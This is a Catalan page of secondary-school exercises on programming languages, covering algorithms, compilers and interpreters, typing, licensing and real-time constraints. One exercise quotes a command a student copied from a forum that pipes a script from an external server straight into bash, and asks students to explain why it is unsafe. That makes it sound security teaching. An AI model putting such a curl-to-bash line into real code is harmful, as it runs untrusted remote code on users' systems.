Tornar a la portadaTecnologia i Enginyeria I · 1r Batx. Ciències · Canviar d'assignatura
Començar gratis
Apunts

Exercicis: Llenguatges de programació

Practica★☆☆
Explica amb les teves paraules què és un programa i què és un algorisme, i posa un exemple d'«algorisme» de la vida diària (una recepta, les instruccions per arribar a…

Explica amb les teves paraules què és un programa i què és un algorisme, i posa un exemple d'«algorisme» de la vida diària (una recepta, les instruccions per arribar a casa teva...) identificant-ne els passos.

Resoldre
Practica★☆☆
Un llenguatge natural (com el català) admet frases ambigües, però un llenguatge de programació no. Explica què significa això i per què és imprescindible que les…

Un llenguatge natural (com el català) admet frases ambigües, però un llenguatge de programació no. Explica què significa això i per què és imprescindible que les instruccions d'un programa tinguin una única interpretació possible.

Resoldre
Practica★☆☆
La figura mostra la cadena que converteix el que escriu una persona programadora en una cosa que l'ordinador pot executar, però l'element central està tapat amb un signe…

La figura mostra la cadena que converteix el que escriu una persona programadora en una cosa que l'ordinador pot executar, però l'element central està tapat amb un signe d'interrogació, com es mostra a la figura.

Codi font l'escriu la persona ? Programa executable l'executa la màquina

Indica quin element falta a la cadena, explica quins dos tipus d'eines poden ocupar aquest lloc (compilador i intèrpret) i descriu en què es diferencia cadascuna.

Resoldre
Practica★☆☆
Explica què és la sintaxi d'un llenguatge de programació i per què un simple parèntesi de menys impedeix executar el programa, mentre que en un text en català una falta…

Explica què és la sintaxi d'un llenguatge de programació i per què un simple parèntesi de menys impedeix executar el programa, mentre que en un text en català una falta d'ortografia no impedeix entendre'l.

Resoldre
Practica★☆☆
Què és un entorn de desenvolupament (IDE)? Anomena dues ajudes que ofereix a qui programa (acoloriment de sintaxi, detecció d'errors en escriure, execució integrada) i…

Què és un entorn de desenvolupament (IDE)? Anomena dues ajudes que ofereix a qui programa (acoloriment de sintaxi, detecció d'errors en escriure, execució integrada) i explica cadascuna en una frase.

Resoldre
Practica★☆☆
Compara programar amb blocs (com Scratch) i programar amb text: dona un avantatge de cada enfocament per aprendre i un motiu pel qual els projectes grans s'acaben…

Compara programar amb blocs (com Scratch) i programar amb text: dona un avantatge de cada enfocament per aprendre i un motiu pel qual els projectes grans s'acaben escrivint en text.

Resoldre
Practica★☆☆
Explica què és el codi font d'un programa, qui l'escriu i què ha de passar amb ell abans que l'ordinador pugui executar-lo (traduir-lo a llenguatge màquina).

Explica què és el codi font d'un programa, qui l'escriu i què ha de passar amb ell abans que l'ordinador pugui executar-lo (traduir-lo a llenguatge màquina).

Resoldre
Practica★☆☆
Anomena tres llenguatges de programació diferents i una aplicació o àmbit típic de cadascun (pàgines web, anàlisi de dades, videojocs, sistemes, aplicacions...).

Anomena tres llenguatges de programació diferents i una aplicació o àmbit típic de cadascun (pàgines web, anàlisi de dades, videojocs, sistemes, aplicacions...).

Resoldre
Practica★★☆
Explica la diferència entre un llenguatge compilat i un d'interpretat: què passa amb el codi font en cada cas, quan es detecten els errors i què necessita l'usuari final…

Explica la diferència entre un llenguatge compilat i un d'interpretat: què passa amb el codi font en cada cas, quan es detecten els errors i què necessita l'usuari final per executar el programa. Posa un exemple de llenguatge de cada tipus.

Resoldre
Practica★★☆
Els llenguatges s'agrupen també per paradigmes (imperatiu, orientat a objectes, funcional...). Explica breument en què consisteix la programació orientada a objectes i…

Els llenguatges s'agrupen també per paradigmes (imperatiu, orientat a objectes, funcional...). Explica breument en què consisteix la programació orientada a objectes i raona per què resulta útil quan un programa modela coses del món real (alumnes, comptes, vehicles...).

Resoldre
Practica★★☆
La teva classe ha de triar un llenguatge per desenvolupar una petita aplicació de gestió del club de lectura. Anomena i explica tres característiques del llenguatge que…

La teva classe ha de triar un llenguatge per desenvolupar una petita aplicació de gestió del club de lectura. Anomena i explica tres característiques del llenguatge que valoraries abans de decidir (facilitat d'aprenentatge, biblioteques disponibles, comunitat, rendiment, plataforma de destinació...) i justifica quina prioritzaries en aquest cas concret.

Resoldre
Practica★★☆
Amb un llenguatge compilat es genera un executable; amb un d'interpretat cal l'intèrpret instal·lat. Analitza quina diferència hi ha per a l'usuari final de cada…

Amb un llenguatge compilat es genera un executable; amb un d'interpretat cal l'intèrpret instal·lat. Analitza quina diferència hi ha per a l'usuari final de cada programa (què ha d'instal·lar, en quins sistemes funcionarà) i quina diferència hi ha per a la persona que desenvolupa (cicle d'escriure-provar).

Resoldre
Practica★★☆
Les biblioteques (o llibreries) són col·leccions de codi ja fet que un programa pot utilitzar. Explica per què «no reinventar la roda» és una bona pràctica, amb un…

Les biblioteques (o llibreries) són col·leccions de codi ja fet que un programa pot utilitzar. Explica per què «no reinventar la roda» és una bona pràctica, amb un exemple (llibreria de gràfics, de connexió a bases de dades), i una precaució que cal tenir en utilitzar biblioteques de tercers.

Resoldre
Practica★★☆
En alguns llenguatges, sumar un nombre amb un text produeix un error abans d'executar el programa; en d'altres, l'error apareix només si s'executa aquesta línia. Explica…

En alguns llenguatges, sumar un nombre amb un text produeix un error abans d'executar el programa; en d'altres, l'error apareix només si s'executa aquesta línia. Explica què és el tipatge d'un llenguatge (estàtic o dinàmic) i quin avantatge té detectar aquests errors com més aviat millor.

Resoldre
Practica★★☆
HTML organitza el contingut de les pàgines web, però no es considera un llenguatge de programació complet. Explica quina diferència hi ha entre un llenguatge de marcatge…

HTML organitza el contingut de les pàgines web, però no es considera un llenguatge de programació complet. Explica quina diferència hi ha entre un llenguatge de marcatge i un de programació (es poden expressar decisions i repeticions?) i quin llenguatge sol acompanyar HTML per aportar la lògica.

Resoldre
Practica★★☆
Tria i justifica un llenguatge per a cada projecte: (a) analitzar les notes de tot l'institut i generar gràfics, (b) un videojoc 3D amb grans exigències de rendiment i…

Tria i justifica un llenguatge per a cada projecte: (a) analitzar les notes de tot l'institut i generar gràfics, (b) un videojoc 3D amb grans exigències de rendiment i (c) una pàgina web interactiva que s'executa al navegador. Indica quin criteri ha pesat més en cada elecció.

Resoldre
Practica★★★
S'implementa l'algorisme de cerca binària per trobar un valor en una llista ordenada d'1 000 000 d'enters en dos llenguatges diferents: en Python triga 12,4 ms i en C…

S'implementa l'algorisme de cerca binària per trobar un valor en una llista ordenada d'1 000 000 d'enters en dos llenguatges diferents: en Python triga 12,4 ms i en C triga 0,8 ms. Un company afirma: «Com que en C triga menys temps, la lògica de l'algorisme ha canviat i ara fa menys comparacions que en Python». Rebat raonadament aquesta afirmació: a) Explica quins elements del programa romanen exactament iguals en totes dues versions i quins canvien. b) Justifica a què es deu la diferència de temps si el nombre de comparacions lògiques és idèntic. c) A partir d'aquest cas, argumenta per què es diu que aprendre a programar consisteix a aprendre a pensar i no a dominar un llenguatge concret.

Resoldre
Practica★★★
Un llenguatge d'alt nivell interpretat sol ser més còmode d'escriure però més lent en execució que un de compilat de baix nivell. Analitza aquest compromís i decideix…

Un llenguatge d'alt nivell interpretat sol ser més còmode d'escriure però més lent en execució que un de compilat de baix nivell. Analitza aquest compromís i decideix quin tipus de llenguatge triaries per a: (a) el control d'un coixí de seguretat (airbag), (b) un prototip d'aplicació per provar una idea, (c) un videojoc amb gràfics exigents. Justifica cada decisió.

Resoldre
Practica★★★
Una empresa emergent (startup) dissenya una aplicació per gestionar estacions meteorològiques. L'equip dubta entre dues opcions tècniques per al seu backend: Opció A,…

Una empresa emergent (startup) dissenya una aplicació per gestionar estacions meteorològiques. L'equip dubta entre dues opcions tècniques per al seu backend: Opció A, utilitzar una plataforma i llenguatge propietaris la llicència dels quals costa 450 € a l'any per desenvolupador, amb suport tècnic tancat; o Opció B, utilitzar un llenguatge i eines de codi obert amb llicència lliure i comunitat activa. Analitza la situació: a) Si el proveïdor de l'Opció A triplica el preu de la llicència o és absorbit per un competidor que discontinua el producte, prediu quines opcions tècniques li quedarien a l'empresa i quin impacte patiria. b) Justifica dos avantatges tècnics i de seguretat que aporta l'Opció B enfront de l'Opció A davant la detecció d'una fallada crítica en una llibreria. c) En quin cas concret podria estar justificat assumir la dependència de la plataforma propietària?

Resoldre
Practica★★★
Una empresa de robòtica submarina desenvolupa un vehicle autònom d'exploració. El sistema consta de dos mòduls: 1) Control de propulsors i estabilització giroscòpica,…

Una empresa de robòtica submarina desenvolupa un vehicle autònom d'exploració. El sistema consta de dos mòduls: 1) Control de propulsors i estabilització giroscòpica, que ha de mostrejar sensors i corregir la trajectòria cada 2,5 ms amb latència crítica estricta. 2) Interfície d'usuari i anàlisi estadística a la base marina, on els científics processen imatges i proven filtres visuals de manera interactiva. El responsable tècnic proposa programar tots dos mòduls exclusivament en Python per unificar el projecte. a) Avalua críticament aquesta proposta predient quins colls d'ampolla sorgiran en el mòdul d'estabilització. b) Explica per què programar l'estació base en C o C++ tampoc no seria una decisió eficient en termes de productivitat. c) Dissenya una solució justificant quin tipus de llenguatge assignaries a cada mòdul per resoldre el conflicte entre velocitat d'execució i facilitat de desenvolupament.

Resoldre
Practica★★★
Un centre educatiu renova l'equipament de la seva aula de Tecnologia i valora dues opcions per programar els microcontroladors dels seus projectes: l'Entorn A, un…

Un centre educatiu renova l'equipament de la seva aula de Tecnologia i valora dues opcions per programar els microcontroladors dels seus projectes: l'Entorn A, un programari comercial propietari amb llicència gratuïta durant dos anys, però de codi tancat i compatible només amb els sensors de la seva marca; i l'Entorn B, una cadena d'eines de codi obert (compilador lliure i llibreries obertes) compatible amb múltiples plaques del mercat. a) Prediu quines conseqüències econòmiques i tècniques afrontarà el centre al tercer any si el proveïdor de l'Entorn A canvia la seva política de preus o retira el suport als models més antics. b) Justifica quines possibilitats d'aprenentatge i adaptació ofereix l'Entorn B perquè els estudiants estudiïn com funciona el codi per dins o connectin sensors descatalogats. c) Des del punt de vista de la despesa pública i la sobirania tecnològica, defensa quina de les dues opcions s'ha de triar.

Resoldre
Practica★★★
Un equip de desenvolupament dissenya una aplicació de monitoratge ambiental i analitza com distribuir-la entre tres dispositius: el Dispositiu A (servidor al núvol amb…

Un equip de desenvolupament dissenya una aplicació de monitoratge ambiental i analitza com distribuir-la entre tres dispositius: el Dispositiu A (servidor al núvol amb processador x86_64 i Linux), el Dispositiu B (tauleta de camp amb processador ARM64 i Android) i el Dispositiu C (boia marina amb un microcontrolador de 8 bits, 16 KB de RAM i sense sistema operatiu). L'equip decideix compilar el codi a un format intermedi (bytecode) que corre sobre una màquina virtual. a) Explica per què aquest enfocament permet executar exactament el mateix fitxer binari a A i a B sense necessitat de recompilar per a cada processador. b) Prediu quin problema insalvable tindrà lloc en intentar executar aquest programa al Dispositiu C, justificant la resposta en funció dels requisits d'una màquina virtual. c) Explica quin cost en rendiment i consum de memòria assumeixen els dispositius A i B a canvi d'obtenir portabilitat immediata.

Resoldre
Practica★★★
Per a una pràctica de control domòtic, un estudiant necessita enviar alertes per correu davant d'una fuita de gas. En lloc de programar-ho, copia d'un fòrum d'internet…

Per a una pràctica de control domòtic, un estudiant necessita enviar alertes per correu davant d'una fuita de gas. En lloc de programar-ho, copia d'un fòrum d'internet aquesta línia sense revisar-ne el contingut: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). L'alumne afirma: «El codi funciona i l'alerta arriba, de manera que la solució és completament vàlida i segura». a) Rebat l'afirmació de l'alumne analitzant els riscos greus de seguretat i injecció de codi que introdueix aquesta línia en el sistema i en la xarxa local. b) Si el servidor extern deixa de prestar servei setmanes més tard, prediu quines dificultats tindrà l'alumne per mantenir el sistema si no va comprendre la lògica original. c) Dissenya un protocol de quatre passos que un programador responsable ha de seguir abans d'integrar codi o llibreries de tercers en un projecte tècnic.

Resoldre
Practica★★★
En un braç robòtic de precisió quirúrgica, un primer prototip programat en C reserva memòria dinàmica contínuament en cada cicle de control sense alliberar-la…

En un braç robòtic de precisió quirúrgica, un primer prototip programat en C reserva memòria dinàmica contínuament en cada cicle de control sense alliberar-la adequadament (fuita de memòria), fet que provoca que el sistema s'alenteixi i s'acabi bloquejant després de diverses hores d'ús continuat. Per solucionar-ho, un programador proposa reescriure tot el programari en un llenguatge amb recollida d'escombraries automàtica i tipatge dinàmic, afirmant que així el sistema serà segur i lliure d'errors de memòria. a) Explica què passa físicament a la memòria RAM durant una fuita de memòria perquè el sistema s'acabi bloquejant. b) Rebat la proposta del programador: prediu quin risc crític introdueix el recol·lector d'escombraries automàtic en els servomotors del robot durant una operació en temps real. c) Justifica quina solució tècnica de compromís (entre gestió manual sense garanties i recollida automàtica imprevisible) permetria garantir seguretat i temps de resposta determinista.

Resoldre